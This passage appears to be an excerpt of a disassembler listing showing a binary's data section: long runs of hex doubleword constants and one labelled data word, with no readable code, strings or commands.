		dd 0F6D12FD5h, 83C942DEh, 642DCD55h, 5F62601Dh,	7BF600F0h
		dd 9AD391F3h, 0E6B751E8h, 5F573800h, 0F3F2E992h, 9B78957h
		dd 1737F5F4h, 0E87F2F87h, 66982160h, 27E497EBh,	27C3E3Dh
		dd 6541EABBh, 0B0795Bh,	82700D0Bh, 913BDC40h, 0EE2525E6h
		dd 74D9738h, 0C8EB0A44h, 605B906Dh, 0C7035D20h,	927D00C0h
		dd 0CB095E05h, 0A10097CFh, 31A6A9A5h, 16B866D3h, 0FB611B46h
		dd 71B4F630h, 0B053EED9h, 0CD809DFh, 0B75F905Bh, 0CCEE000Dh
		dd 509B0E9h, 0CDDE0312h, 0BF0231F6h, 2D6D33A5h,	0FBE639D7h
		dd 0C01A881Bh, 0FDA5390h
		dd 0CE20663Fh, 32AD1C81h, 15953300h, 0DFE2015Ah, 5A4AB84Fh
		dd 760314EEh, 24097504h, 8C00BD7Ah, 0B88065FEh,	8BE5A274h
		dd 407A71E9h, 0DF6F6694h, 1C3DB50Ah, 0DE2FF9AAh, 0FA8269A2h
		dd 0F06671E4h, 0D45A582Eh, 1AB8B900h, 4A257BF0h, 0FE40A079h
		dd 97D0569Fh, 234331BDh, 0D122FC7h, 306007E2h, 75669B56h
		dd 41DBCA97h, 0B97E290Ch, 32AA92A3h, 155E6133h,	95259320h
		dd 0F15E403h, 0C82B45B3h, 0C055BDA9h, 24D18BFEh, 1139F380h
		dd 34AD4F75h, 0E4C59D84h, 50008532h, 0BB47554Ch, 4B9CDA2Ch
		dd 80F48036h, 0CD2E1EFh, 86C8C1ADh, 723BD749h, 7C15C10h
		dd 0B36E914h, 0C4EDBD17h, 0D0E9ACB2h, 3D911693h, 8413CCEBh
		dd 5E211A4Eh, 282E0EA1h, 955089E0h, 0B14BB35Ch,	2F31D998h
		dd 0B0CD226Eh, 7B0ECh, 4977BBE3h, 319412FBh, 3BBDB54Ah
		dd 88736A27h, 0E80C0178h, 0F6CC04ADh, 0F08FB03Fh, 0D1242FDh
		dd 78BC800Fh, 818D29B0h, 0D5B9044Ah, 318C15BCh,	0E9529154h
		dd 33A67E21h, 7213CF00h, 0FD9647F7h, 190D2A00h,	0C1B9E1A6h
		dd 25FD910Fh, 0FE8A14C0h, 0E1DCCDB5h, 2F9DF327h, 0AA4A21A8h
		dd 0F9AA3C20h, 0C2E045Ch, 0AFC00574h, 9701F5C8h, 618F8CF6h
		dd 65A9D62Bh, 0B91C36B8h, 847B2BBFh, 89792C84h,	0F141B5FFh
		dd 0E2B23BD2h, 2528EA5Ah, 0C28D5A9Dh, 5BD55B94h, 0F44D4494h
		dd 0D2FDFB2h, 81B6BD88h, 0FDBD2BAAh, 0DDDB3D0Eh, 0E4CD2ABEh
		dd 5966739Dh, 25301815h, 0F5765691h, 758D0160h,	0ECF1D71Ah
		dd 228B1230h, 27C42FAEh, 0CF724DDEh, 0E392DBA2h, 3C00D0C6h
		dd 13340B46h, 25411581h, 0EBC5C49Eh, 2B489F11h,	0B9E01216h
		dd 8C1DA8B8h, 39F8BD00h, 0C29CD4A8h, 7DCA261Bh,	895D253Ch
		dd 0AA4DF588h, 5414C49h, 9A224FCEh, 0ADCDBF41h,	0E3001463h
		dd 0D6E8533Eh, 711EAA30h, 8740AF77h, 807C064Ch,	0C57BB5F1h
		dd 26101D0h, 0D5397F06h, 9B8241E3h, 4F5E04F4h, 77EEBC51h
		dd 0D841096Fh, 56E0F84h, 0AF0D39BAh, 87A51438h,	146216E4h
		dd 8AC0EEC2h, 290938A2h, 5E1BC985h, 43A7009h, 49AFCFBDh
		dd 7D313A5Dh, 601600D9h, 0AB923CDBh, 78C2CF94h,	6B9A5E81h
		dd 0DA755F92h, 198243Eh, 0D9FD1944h, 8A162F5Bh,	7AA37B09h
		dd 16D255Ch, 27F4975Eh,	14D41FBFh, 0FDE05B60h, 0A6920084h
		dd 0A2A99914h, 0E1255873h, 27C366C9h, 8AF98A0Fh, 2972C784h
		dd 9AD33ABDh, 0E8C0806Bh, 1CA223BDh, 8FF55035h,	0FB02BA60h
		dd 0C6554D18h, 28B9040Ah, 0EA0E0963h, 0FE9D9FA4h, 823FA208h
		dd 752DFD45h, 5CC9F751h, 62AB4088h, 963AB8C5h, 9B8B3498h
		dd 176E84C7h, 0FECF8CEEh, 0D3AB090Eh, 0C6A72414h, 837820FBh
		dd 0E509A08Bh, 0FD5B510Ah, 0F8B84EC0h, 5A0C9F01h, 61C38B66h
		dd 3CCB9BD6h, 864FE14h,	1A2AAFDFh, 308D8880h, 8205657Bh
		dd 0E5C9D663h, 94BACBC5h, 1A2AAE21h, 8A40958Bh,	0DA881F55h
		dd 0F62FE101h, 2D8AF0CCh, 3A372D45h, 0A5E21574h, 0ED717520h
		dd 0CF1C5C49h, 921ABDF2h, 12EF1DE0h, 0F25B0863h, 419AD64Ch
		dd 0EB90EE97h, 0EDDD9531h, 8AF3723Ah, 9DBA58D5h, 0E2737ED3h
		dd 0A1535F96h, 50271507h, 81C8B7C9h, 0D9D0EDC5h, 19F92A2Bh
		dd 27E2F525h, 6E82CF55h, 27070D00h, 65025792h, 0C9B58926h
		dd 38B34D1Dh, 0DAF352A5h, 903125BCh, 0C195BAh, 0F5B6EB2Fh
		dd 1D195246h, 22932C48h, 0A751918Bh, 46A94D5h, 3202B0FCh
		dd 7343BC49h, 0C4E8FA4Fh, 0F67B0B80h, 97F245ECh, 8066383Ch
		dd 0BFA92C14h, 25B3BE5Bh, 56E45902h, 351BBB02h,	0D058575Ah
		dd 6B922F20h, 66D53309h, 50FE2DE2h, 0B78B8FF9h,	0EFCFDFC7h
		dd 9AAB8A40h, 493D1350h, 4FB6B8C1h, 0D5276C09h,	0F3C909EDh
		dd 2B7D255Eh
		db 53h,	0D4h
word_505446	dw 981h			; DATA XREF: ___:off_4274D8o
		dd 716D6168h, 560913C0h, 17C17C90h, 0B8B8010Eh,	0DF142D13h
		dd 76618C3Ah, 3AA36B31h, 0B846ADD2h, 1E540194h,	0C15B4853h
		dd 17D054B5h, 12C1FC9Ah, 9FB8161Dh, 38FE2EE2h, 0CCBF00F6h
		dd 1B6D09E8h, 81652AFh,	843020E9h, 97018BDBh, 2971779Dh
		dd 6008882Ah, 702FE594h, 0A8085B6Eh, 0D4E2E7A0h, 6D3DF504h
		dd 629DA70Dh, 0CF4F22FDh, 34D4A425h, 64A302F6h,	0ED87D565h
		dd 611D7971h, 0D7593149h, 4C557C3Ah, 4420905h, 617B4067h
		dd 4021CDAFh, 3640DC41h, 0B4BDD71h, 0BB1640FBh,	7D99062h
		dd 0FEF90B97h, 0BA00F6DCh, 84C31C9h, 978F0F13h,	0E8E097F6h
		dd 4EFA1E5Dh, 0AD9EBD70h, 4C7DC1Ch, 2DBD33ACh, 98500930h
		dd 0B887C9h, 10981B28h,	0CB52CC0h, 0A1E4250Eh, 4BAB5734h
		dd 1F568B8Ch, 0D88273ADh, 9997A125h, 89DA29BBh,	25A371A8h
		dd 12F61776h, 0BD3CCA78h, 2DB6D3B1h, 3602CCA0h,	0CFC46F4Bh
		dd 0B897F5E2h, 0CDC44A49h, 0D0809AABh, 0F2C2C337h, 9D31805Fh
		dd 0AE0A4F09h, 6ABB2A34h, 0EAFF00B8h, 0DF8060BDh, 20EFB0A3h
		dd 61771FCDh, 4D20502Dh, 7919C19Dh, 7E92C1F0h, 0D4C9FFCh
		dd 2C1C1510h, 1082053h,	0EB5B1319h, 168E2F9Ah, 6A00211Ch
		dd 35BB9C15h, 437C2D67h, 0F810BE7Bh, 40252050h,	9D12011Eh
		dd 21BD0231h, 0B8C17BCh, 15A525EFh, 4FD7B4EAh, 0A3D9405Ah
		dd 7A2DDB0Ch, 0F523805Ch, 4A0F9630h, 1A30EB8Ch,	0FB19B750h
		dd 80F9DB3Fh, 6CC5DF6h,	0C0F30CFCh, 731F14E9h, 0F8176700h
		dd 0E3B63133h, 0EA160018h, 0AAA83F9Eh, 117548D9h, 0F7817C03h
		dd 9DE48712h, 7BBAA052h, 0D40E1699h, 0C22664BAh, 9CD71245h
		dd 7B184598h, 822E70E0h, 0E541C175h, 922CD5E6h,	0F3798112h
		dd 0DBC4745Ah, 52BB5420h, 0AF92546h, 649595E6h,	3E4A04B2h
		dd 0FA2E3F74h, 0E152BD00h, 0B159F343h, 0BF7D8035h, 3923BCFh
		dd 49EEFD5Fh, 0CF045B57h, 4BFDE889h, 16C8FCDAh,	943CF3C1h
		dd 0A84EE92Eh, 92931Bh,	1FFB3433h, 32573BBh, 605BDCECh
		dd 0C38FC64Bh, 8CEE3600h, 0B4575B46h, 62C1059Eh, 0EBC8F1B3h
		dd 0FFAAA342h, 53C15E5Fh, 284F0BCFh, 0D55D2940h, 2D8D9C6Fh
		dd 0B9F9BF55h, 0AF216380h, 9193CE38h, 0BF71731Ch, 7CE58142h
		dd 0EE6F5FC6h, 0B2EE9D45h, 2B204E68h, 92C1C3Fh,	81674D51h
		dd 86F67A74h, 0FB50065h, 8E5BEF0Bh, 812E9EF4h, 0BD08ABFAh
		dd 8302626h, 0E9092EB9h, 0FC89D750h, 20812FB7h,	8BD6B319h
		dd 0C982338h, 0C1892211h, 16B1108Bh, 0AF9C375Dh, 3A921C31h
		dd 0DE94DAFCh, 55FBB0Bh, 3E2E10F7h, 766A5DCCh, 0FE4F5A80h
		dd 0EF9F3BEDh, 0FFCF448Fh, 6A3C918Dh, 0D2ED8318h, 235B0197h
		dd 0D3D4DBh, 710A053Dh,	41F488D7h, 219AD850h, 6E882C4Eh
		dd 95B52431h, 685EAD71h, 0E5E4D964h, 0A4109DD6h, 8E01E5DCh
		dd 0C749FB9Eh, 86968276h, 0BC99F904h, 0C8820F28h, 0ABE52DA3h
		dd 2EFC870Ch, 981E4F4h,	2219C185h, 6927D00h, 4061CFB7h
		dd 0E02E8848h, 96EC2FEDh, 5DB52982h, 8050F3FDh,	3E0B260h
		dd 4F9649BDh, 44BE6A5h,	885911BBh, 0D2C1AB03h, 556DE1BDh
		dd 0A2FABF13h, 0FC9A8800h, 5E466901h, 5C6AC584h, 2587082Bh
		dd 0D402293Ch, 0CF239881h, 6FE8D5DFh, 0A34C4BD8h, 0CBA65E17h
		dd 0F9835DE3h, 827BEFF0h, 8A116709h, 5AE97BFAh,	0E73BC938h
		dd 72341C04h, 27A28960h, 2057AC5Ah, 0F9DCE922h,	0F3B65AE9h
		dd 29A189F9h, 9DC58295h, 8529021Bh, 0CFCEE27Dh,	0AE4F41E6h
		dd 54C23E2Ch, 0EDEE552Dh, 105D95h, 0C9FC2950h, 0F15B2F40h
		dd 3F1CCF63h, 91BF800Bh, 0CFDF6987h, 0D52E5B3Bh, 0B16530C6h
		dd 46F55913h, 0EDE69DEBh, 2F0C0602h, 0C75E268Dh, 0D18B8252h
		dd 8D0F0229h, 974B6CF5h, 1248A51Bh, 0D2D27AC8h,	0B81C1D5h
		dd 33412991h, 0F26A0151h, 0A29EFAh, 988E82BBh, 43E3816Bh
		dd 48B9F90Eh, 0E58213B0h, 72848BC0h, 0E66113CBh, 22690070h
		dd 0E47BD8CDh, 131A7158h, 32AF1445h, 0F525D103h, 9D4C42AFh
		dd 73F7125Dh, 0DBBF0F6Fh, 1AD5C1C9h, 35E5CE1h, 0F77FC3BBh
		dd 0E5253CAEh, 9763E40Eh, 2B41AB5Eh, 276B09C8h,	1D1E22Ah
		dd 79A75AD5h, 5CB89FE9h, 2900AD1Ch, 0D64FA22Dh,	743D731Dh
		dd 0C2CF7BFAh, 5FBA6F92h, 0D95B144Bh, 4E490107h, 0FE8A4401h
		dd 0BF7A162Fh, 0F720EE8Dh, 0C6051ADFh, 0FA242061h, 99EB52CDh
		dd 504230B0h, 3AE9F41Ah, 0A5718213h, 0E47C5E21h, 8876BCFCh
		dd 99BD4124h, 0C45A0B1Dh, 0A09854E1h, 0F8015B40h, 0F2224A79h
		dd 7DF28759h, 0B04D57C9h, 6177CFC2h, 256B1D95h,	0CBA20Bh
		dd 6CE41A44h, 9739741h,	0D6E7A5BFh, 0A221B157h,	0EAB29414h
		dd 6EF0AD80h, 208B9773h, 0CC1F3EDh, 0FC60D46Eh,	0FCF1049Bh
		dd 91E5BD29h, 6AC02B65h, 0B4F059F6h, 8A2EC2C4h,	710991DDh
		dd 0EEE6751Dh, 1523DBA1h, 0D9FCC8h, 0EDE1140Eh,	4556E474h
		dd 8EB7A202h, 2B0AE8D8h, 0F948B85Fh, 1CEFB5F7h,	28CDB5A5h
		dd 3F83483Dh, 0D5A56117h, 0FEB5BA7Dh, 882D9A2Bh, 4EE6C315h
		dd 93C780A0h, 80BBF99Dh, 2CECAFD5h, 102760C1h, 0D2A05538h
		dd 0EEFFAEE0h, 6A77F497h, 0B8E46022h, 9601AF9Fh, 2E61D955h
		dd 342F76BFh, 6E95CC62h, 0BDDEC00h, 0FD4EFBA5h,	8B5E9DD2h
		dd 837E255Dh, 0DB2C7EE0h, 3A0713DAh, 5044AC49h,	334EB5BAh
		dd 6DE227BCh, 821BBD57h, 3956F0FFh, 71D10255h, 0B3020B2Eh
		dd 0EDF5233Dh, 0E14C7EFh, 0FC9B8510h, 8EE4D8EBh, 5A9619B7h
		dd 4E8957F6h, 2DD0ECF7h, 0F07122BDh, 0F1571DC4h, 2AEDD9C6h
		dd 8082FDE6h, 0C45C64C3h, 0C9A7E051h, 0F1C82913h, 0B500111Fh
		dd 0BCD2ED5Fh, 3D86DB4h, 0A34C92BAh, 0CAF1DA51h, 0D2352860h
		dd 130194B0h, 0EB0381BDh, 19C9518Fh, 0D17D7632h, 0D679277Ch
		dd 0AFAED000h, 5F292Fh,	3347BB1h, 5910E73Fh, 2C2A42Dh
		dd 291E3D53h, 2AF7C25Ah, 99D04CFDh, 5FA6100Bh, 16318522h
		dd 80E11B56h, 342E2FDBh, 0B142BB9Bh, 0F70465B5h, 5203E41Ah
		dd 748082B0h, 7C009E69h, 0E3756C78h, 959F9A1h, 5F0F2B43h
		dd 8A322275h, 2F4E5DDCh, 0CD9F77B2h, 8E78C073h,	5F05D9FBh
		dd 50329321h, 0A93020EFh, 77004B10h, 0CDF8E159h, 1F324B9h
		dd 1E62BB68h, 2F5B75AFh, 22A358D1h, 0F8408DFh, 0CAA60E8Fh
		dd 3858910h, 0E3E0BA95h, 2D949561h, 0BCA4BF05h,	915222D8h
		dd 221BCC8h, 0EC0518C8h, 0C35C7D42h, 0E0EEBB01h, 0F23A69A4h
		dd 33A49231h, 99350FBBh, 9A38417Dh, 5689158Ah, 4B000863h
		dd 0A339D52Fh, 91010E2Ch, 0BC936BA0h, 0F36A5BE7h, 0D8426Fh
		dd 43F9DB61h, 5C0DE08Bh, 360F9A67h, 0B8620E64h,	4277C6DAh
		dd 9DCD021Fh, 17C5F5ADh, 0B125BF01h, 0AD6A63C1h, 0B8FDFCB8h
		dd 9B92227h, 7ABAB44Eh,	94FA007Ah, 0E623218Fh, 19895A2h
		dd 617C9D0Bh, 0FCE03A97h, 4B0269CEh, 0ECD514D6h, 0C19D1271h
		dd 6571AF19h, 0F72ADEB7h, 1D9A5B3Ah, 0AE6FB80h,	0F0FA8D14h
		dd 0F1172570h, 4EE0689h, 0EB1351C9h, 0F6E5CCA6h, 0A4B81301h
		dd 24D654AAh, 789D0A22h, 6C3FB072h, 460EC9A9h, 1CA9045Eh
		dd 5B82EADEh, 88F48896h, 8459400h, 9F21B312h, 3D5A009Eh
		dd 48318D9Bh, 0A300A2F9h, 6660504Fh, 0BD4DEBAh,	9661F18Bh
		dd 3385C4B7h, 0A7ACCCBDh, 3BBF4980h, 67271DA2h,	1256D691h
		dd 0B063A71Fh, 1463C403h, 0FD4F9870h, 680BA44Eh, 2469694Ch
		dd 1D091233h, 7F17473h,	0B9E6A296h, 0ABC99504h,	0F84A37CAh
		dd 87902D5Ah, 0C77050F8h
		dd 0F54E5FEDh, 417FC86Bh, 0E2F3B600h, 368F934Ch, 0A55700D2h
		dd 0A6F2134Fh, 9700F6F4h, 758AD381h, 0BD5F257Dh, 54DE79h
		dd 0FC8A2671h, 0E5B50161h, 888F194Bh, 800F2662h, 605B3864h
		dd 0E8AFB304h, 166A18E1h, 2E2CAEB0h, 0AC35D72Ah, 942220A7h
		dd 0CE762553h, 8B490BF4h, 0DF5CF3A6h, 70534977h, 0AD493950h
		dd 0ACD8601Dh, 0C925BD2Bh, 0ABBE5725h, 188B59Dh, 40AA2950h
		dd 0D8E6D174h, 44B11B5h, 0AC3E9E8Eh, 0E8E8ADCBh, 5D800438h
		dd 0BC6774E6h, 0EFF42C04h, 0D5163362h, 0C200C652h, 5CCB0834h
		dd 94D59589h, 0AE5827E6h, 73F36EA2h, 9CBD0B8Fh,	59C41836h
		dd 0BC5E0D81h, 0D916AA38h, 0AFDAAAF9h, 0CBC92390h, 0F8B9271h
		dd 40D25188h, 51A077CCh, 9A6B5902h, 0C0D40590h,	16ACB160h
		dd 0AC950667h, 4EC8D648h, 0C4F15ADCh, 0AE8953BBh, 0E7808ADEh
		dd 0E55FBDACh, 63E46F01h, 0BF66CC50h, 0DD6B31E5h, 0B5BD7E64h
		dd 0BD0353A8h, 45FCA02Ch, 9C05B303h, 761DA7BBh,	9306D21h
		dd 0C5F52BD1h, 0DD53257Fh, 6636D50h, 95296F2Bh,	89277B91h
		dd 9D45DABDh, 19595873h, 1B0B2A18h, 58C92392h, 0E1712723h
		dd 75565D19h, 0A5B92AC6h, 8B2461E8h, 4625C8F8h,	500CA0CFh
		dd 0E0CDAD20h, 9DEADF9Eh, 4E727037h, 66E17955h,	0B495E67Ah
		dd 0C4FC4DDCh, 10055553h, 548A128Ch, 9E3B98E1h,	0A5E2C080h
		dd 0D4F98B2Ch, 525B1C40h, 0B9990492h, 6214CA0Ch, 7F07F988h
		dd 853199B8h, 2257ABDh,	0E7EDBB50h, 0BDDD3D51h,	0EA71801Ah
		dd 2D86E19Fh, 0A5F8090Bh, 0BC7698CAh, 0A53F4B7h, 9691ECE2h
		dd 80604053h, 0B09719EBh, 4199B5EAh, 6EB92A20h,	0A88EF9D3h
		dd 0AEBD0035h, 159C7D32h, 634FAD3Eh, 4223C920h,	0C049005Ah
		dd 1B3BC6EFh, 0A301FEADh, 8FF5E9CBh, 0F72A8978h, 619A932Bh
		dd 78061080h, 894BBF46h, 96EB49BFh, 0FF0005D9h,	6C12430Ah
		dd 8A1D1CD7h, 0BC3A0188h, 41F5CDDCh, 0ED8E32DCh, 51816E51h
		dd 0ED3E2069h, 0E11DB801h, 14F210C2h, 0DECCF500h, 51588380h
		dd 78EE95A1h, 41F2ED95h, 3F6F14BCh, 0B21E2E82h,	7F8A7055h
		dd 805209EEh, 94D741D3h, 69FC8D6Ch, 3DAF44D5h, 1C29AB7Bh
		dd 0EA00BBFCh, 0F3A9189Ch, 0E7009B5Fh, 88C7FBBCh, 252209D7h
		dd 0C4C520C4h, 80096A11h, 0A5736BF7h, 40C35A5h,	0FA843DEDh
		dd 2195A591h, 0EF0F4634h, 9293F22Ah, 2A03AB6h, 0C85FE727h
		dd 0FC1988h, 284C511Dh,	0AC6E74DFh, 0E5E77A09h,	0E9AB7167h
		dd 0D797DC35h, 6ADF09EBh, 85AA825Dh, 16610631h,	0E98B6502h
		dd 7FFFF322h, 5CE2F8EDh, 8ED942h, 3A0F966h, 0FA05384Bh
		dd 8E6E26CAh, 0D516A992h, 15452318h, 0E946F4BFh, 0BB81DBF4h
		dd 2B4479E3h, 0BBB7DDEAh, 810A572Fh, 0DF10CECh,	56B5BD7Dh
		dd 2762D1Bh, 0F05105F4h, 0EF6AD5A8h, 0CBC0B39Bh, 45A1B72Bh
		dd 4A0BB379h, 0DD01D440h, 8A01504Ah, 272311A3h,	661CA0B9h
		dd 0AE904F67h, 0DFE22F24h, 0A0F9A84Ah, 7DF32F0h, 0A7E2441Eh
		dd 0BB7CD734h, 0D8A9C9D5h, 77F8CE52h, 0C027EC3h, 0E88A58C2h
		dd 37BF561h, 4F6D370h, 9C1B5C34h, 0E8BBB9F9h, 0D9BB0BBDh
		dd 4E54869Fh, 2F0AE2F4h, 35575A2Fh, 83892B6Ch, 6056D3FEh
		dd 0C0B2F3F8h, 0B720F4h, 61F6DABAh, 78749D5Fh, 9521AED4h
		dd 0BA09B766h, 2B7A77Bh, 52719ABh, 36C1AAFFh, 0F33A1F95h
		dd 51918DEAh, 12C1AF5Bh, 81F8FAD6h, 0A5E3C7D8h,	8171026Ah
		dd 508E492Ah, 2742667Fh, 9BCD2404h, 7ED321C2h, 1C46D639h
		dd 3AFF200h, 0DE2BAC8h,	0F264E12Ch, 0D1BE3060h,	0FA120019h
		dd 0C5D667FCh, 482EB614h, 1F1206C4h, 0AD840CF3h, 3E251111h
		dd 0D0600084h, 38F88672h, 0C92900E1h, 0BE93EDC6h, 1897DE8Bh
		dd 1390F5F2h, 305010B3h, 0AB3B36A1h, 0B8049500h, 51F090BFh
		dd 702EE989h, 1DDBDDFh,	48D91497h, 0C7043C51h, 0AA5A47E9h
		dd 6A4E87F7h, 4BE00096h, 0EB80C7A7h, 0FF6A2F85h, 5C9D4444h
		dd 8DF46080h, 9004DF64h, 4F942D0h, 88BD62AEh, 0B5980913h
		dd 0E67F327Dh, 37804FAh, 0AAD9FEA3h, 602A96A7h,	5B69073Ch
		dd 0E0497930h, 0F1539D5Fh, 42E56801h, 0F93EBC7Ch, 4DB529ECh
		dd 6125F7D1h, 2C4539ECh, 89305259h, 0B0292715h,	2FB044FEh
		dd 5BC99D01h, 7921AE02h, 2B09275Dh, 0F917A481h,	0EEB5FD08h
		dd 5A650359h, 6AABFB2h,	44F7B3A2h, 3CD39540h, 0AB1B57A5h
		dd 5CB78873h, 29604068h, 3C9ED59Dh, 6ADA8002h, 0C1795D61h
		dd 0FFA536B2h, 80004E4Eh, 6BAC7527h, 8BF52Fh, 80CBFD1h
		dd 0A3E96E42h, 4AB27D2h, 12CCD6Dh, 0F1F2B966h, 0F0DA62BDh
		dd 0D2BD5036h, 0D8B73425h, 57B2AF0Ch, 28034F00h, 6F762ABCh
		dd 41BFEF12h, 85A0B4BCh, 66890ED5h, 0A42090Ch, 0F930AA92h
		dd 0C085DDh, 95EA474Bh,	0A6F5162Dh, 0D97C3507h,	6CC1ADDAh
		dd 0E07029BAh, 5BE4B712h, 0E461C825h, 102D435Bh, 0A9F11CC5h
		dd 7D040907h, 5C75F501h, 68212247h, 92C3F93Eh, 941064E3h
		dd 25F35F8Eh, 0D6D88B28h, 0A1CAAA31h, 6BC126A1h, 0E5770004h
		dd 0CF9C0C1h, 0F74B900h, 0F22AF881h, 7EE97665h,	0B8285BF3h
		dd 1597A059h, 0C856BD22h, 2A30BF7Ch, 9005296h, 0EF814257h
		dd 564D515h, 719D3339h,	6F6DAF1Dh, 20F68804h, 29CD68E0h
		dd 0DB960D01h, 0A79A334h, 0EB5C353Bh, 94C10BDFh, 216258DEh
		dd 14BD3ACFh, 5B1F76A9h, 2C2525FCh, 0BDF718EAh,	0E622027Ah
		dd 295EF103h, 8B14915Dh, 12005C48h, 80FEDE27h, 0BB8CB9A5h
		dd 2EFF02EEh, 0E83A612Dh, 21F5348Bh, 8346841Ch,	0EEF040C8h
		dd 4801003Eh, 88C57229h, 0E5B59AA5h, 0CD8AD84h,	78BD7BB7h
		dd 0A2C759Dh, 0FD603E41h, 40C783h, 5B8E18ABh, 510FDB1Fh
		dd 57EF2E00h, 0F00981BFh, 0EC5F4C70h, 0B458C0DDh, 335B62D9h
		dd 103DCA4Ch, 5F2D3061h, 4DF1657h, 3AC585BBh, 6E240h, 694720BFh
		dd 3A5E569Fh, 4302BAD4h, 0E1FFAB7Eh, 0B42B755h,	9D5DCEFh
		dd 0B5D5E03Fh, 382FE185h, 340E38Ah, 869497F8h, 531DF06Ah
		dd 0D83112DEh, 0FA25096Eh, 8C44A479h, 0C31EF852h, 2591B509h
		dd 9CD6027h, 4B8670CBh,	0C1B0C4DBh, 2FA672EDh, 0B60AE0Bh
		dd 961C5E66h, 2B31EF53h, 4B2F615Ah, 0CFD58D80h,	0C14B45A7h
		dd 2A76463Fh, 0DE301C8Dh, 0DD034A41h, 91CC7BC9h, 0CEC008Fh
		dd 0C6567752h, 0BD00C32Ch, 1593325Ch, 9761CE8Bh, 0CE4BAE9Bh
		dd 0B561A727h, 61023375h, 0DA12DC59h, 8807B9F4h, 7505476Ch
		dd 54725ECCh, 7990ADCCh, 8DA00BCh, 8D8F30A1h, 0C02515Dh
		dd 782F5881h, 28B575Fh,	0D5653AD7h, 7D31C0Bh, 94D2970h
		dd 0A3BA72Fh, 42268977h, 0C43DF75Bh, 0F8CBEF0Ch, 226804F8h
		dd 0AC6511A2h, 0A1DD0EB7h, 71ADF60Eh, 4F0013B8h, 89A34511h
		dd 9F2A619Dh, 49DCE356h, 0D897931Ch, 8AA01889h,	54A498Dh
		dd 0B480CBE9h, 0D4ED4122h, 9F0338h, 33A958ABh, 5E9EC490h
		dd 82E5BDD1h, 6041C381h, 0BD015934h, 0DA41BD6Fh, 801006E9h
		dd 0C62FA5FCh, 1F2BE1B1h, 0C5BCDE2Bh, 0B1A3BCAAh, 0B2EFE65Ah
		dd 94993017h, 534AACFEh, 5E5B5009h, 1860C6A4h, 6171C774h
		dd 0B6A6EC95h, 60464095h, 9F0B296Fh, 57BA7716h,	0CC1378BDh
		dd 31C260FCh, 9A76B585h, 285EBB50h, 17AAA690h, 0AF26D9BDh
		dd 1451D261h, 4E4A5003h, 18E11965h, 0B84ED10Ch,	83A1122Eh
		dd 67F30Bh, 0F7D3BF66h,	728C6068h, 950CB0EFh, 9F0902D0h
		dd 732F77h, 0AC47FA19h,	0BD7BBD54h, 2CFE6E5Ah, 0C652C8h
		dd 7A4BCE2h
		dd 81020814h, 0F08311F3h, 8B6B7701h, 1CB1BD98h,	0B742A691h
		dd 0ED3558Eh, 0B7F6BB70h, 2E21AF02h, 557A4C5Eh,	184D2571h
		dd 0B8DBF92Eh, 0F8612D3Bh, 5016CF1h, 0F5DE7BF3h, 2E0CFC8h
		dd 0D17ACE21h, 0C67FA59Dh, 0E95F2FE1h, 0C18BFC59h, 0D06D7529h
		dd 0CFB0B77Eh, 5302714Eh, 0D1E50125h, 6946DDD6h, 258358BFh
		dd 40E73199h, 3D04110Bh, 6DE180CEh, 8A4EF783h, 0B102FE48h
		dd 0C21E03E2h, 5E4D01BDh, 0C9F8EB15h, 493773B5h, 0BB70FE53h
		dd 11870949h, 1C02A74Dh, 1070DF5h, 2D323563h, 3557FA67h
		dd 8EE62B91h, 6EA08A38h, 5FD3C473h, 0D1823B27h,	65D01EEh
		dd 6AEBBA63h, 5D831734h, 5FED0161h, 8BB5696h, 2E6ED934h
		dd 0FA3EC3BCh, 87DE9B4Ah, 0E2F42229h, 6E81E6C4h, 0EC6F2BB7h
		dd 5661809Eh, 56A8C380h, 0F17C75Fh, 27ADA282h, 5EF0C433h
		dd 0AD78BD5Fh, 0EF8C607Bh, 0E4387FDBh, 2FD09CB3h, 7F899B09h
		dd 0FA29C04Ah, 479CEF55h, 34CFC041h, 1C517F6Eh,	0B9CD44B2h
		dd 3184D357h, 0B1C4C1EDh, 0D63BBD2Bh, 0CFF398FAh, 90EF8D25h
		dd 26FC572h, 8FDB9FC4h,	0D97FE08Eh, 0B95F133Bh,	5D9D82EAh
		dd 0DF810009h, 970BD6DAh, 0F5C28377h, 0F5CB58EDh, 2E527291h
		dd 79848DA9h, 50441808h, 35B72520h, 4BBC1EEEh, 0E5FE02D4h
		dd 0DDA9AA98h, 58DB8880h, 390BBF67h, 6414963Fh,	2FA807F7h
		dd 5B931748h, 6723307Dh, 369A9708h, 4B74677h, 1B53B7BBh
		dd 71B6AA4Dh, 16D1A5F0h, 5C994112h, 7475610Bh, 0E65752E5h
		dd 0E5F495E2h, 0B5A6664Bh, 2CFD28C0h, 444D8D88h, 0B5989617h
		dd 0FE573C82h, 0A5DB407Eh, 61E42A4Bh, 0C56CA800h, 0F0C11C42h
		dd 7E9B05B8h, 0AB5BCDB3h, 520402B2h, 84D52663h,	18B6AAF7h
		dd 773258B0h, 0B219B633h, 78668561h, 308D2D18h,	6D69B979h
		dd 0A6BD405Ch, 2B09764Dh, 5C14E59Dh, 25D072D2h,	0B440E38Fh
		dd 4CAE3ADAh, 273D1771h, 2522BB5Ah, 919A142Eh, 0D2BD1F4Ah
		dd 0D7AA01D6h, 2F020C10h, 0D429EA62h, 3D02492Ah, 0D37D0D39h
		dd 8170B302h, 39CEABE5h, 6AFB2F25h, 0E4D78D8h, 0B590EA08h
		dd 0D5716289h, 2F5672ADh, 75ED9B7h, 77B59072h, 792E47Eh
		dd 28E679C7h, 0DD196029h, 3C730C56h, 0D4407F94h, 0B0C07F17h
		dd 0FA5B7186h, 0FFF327A3h, 2113755h, 9D307FC7h,	779ED2DFh
		dd 9415E31h, 4877292Fh,	0A0C18B61h, 0F92D95B9h,	0CF4BC104h
		dd 4AC5385Dh, 464323B7h, 2E2A49F1h, 905D1B6h, 0BE2C519Dh
		dd 483FD760h, 0F6380707h, 207EF733h, 34BDABE3h,	46A9D00h
		dd 90C49FE7h, 0BB531E60h, 773F817Eh, 2B50615Ah,	605423ABh
		dd 0C99FF2ABh, 13BFF0C8h, 7F1B351Ah, 3065D9C2h,	232076DCh
		dd 5C95DEB8h, 8ACB007Ch, 9010B3ACh, 0C25F26DBh,	0C5550B12h
		dd 2008211Eh, 0A4FEBD02h, 3BDA0BDCh, 0CC7FD5FFh, 9D92730h
		dd 0BDB82F9Bh, 0E5B50F19h, 344DA537h, 0C7B42E40h, 0F26A043Bh
		dd 0EA4B5EB7h, 0E9A567F6h, 165A80EDh, 178E54C4h, 0BC08CC5Fh
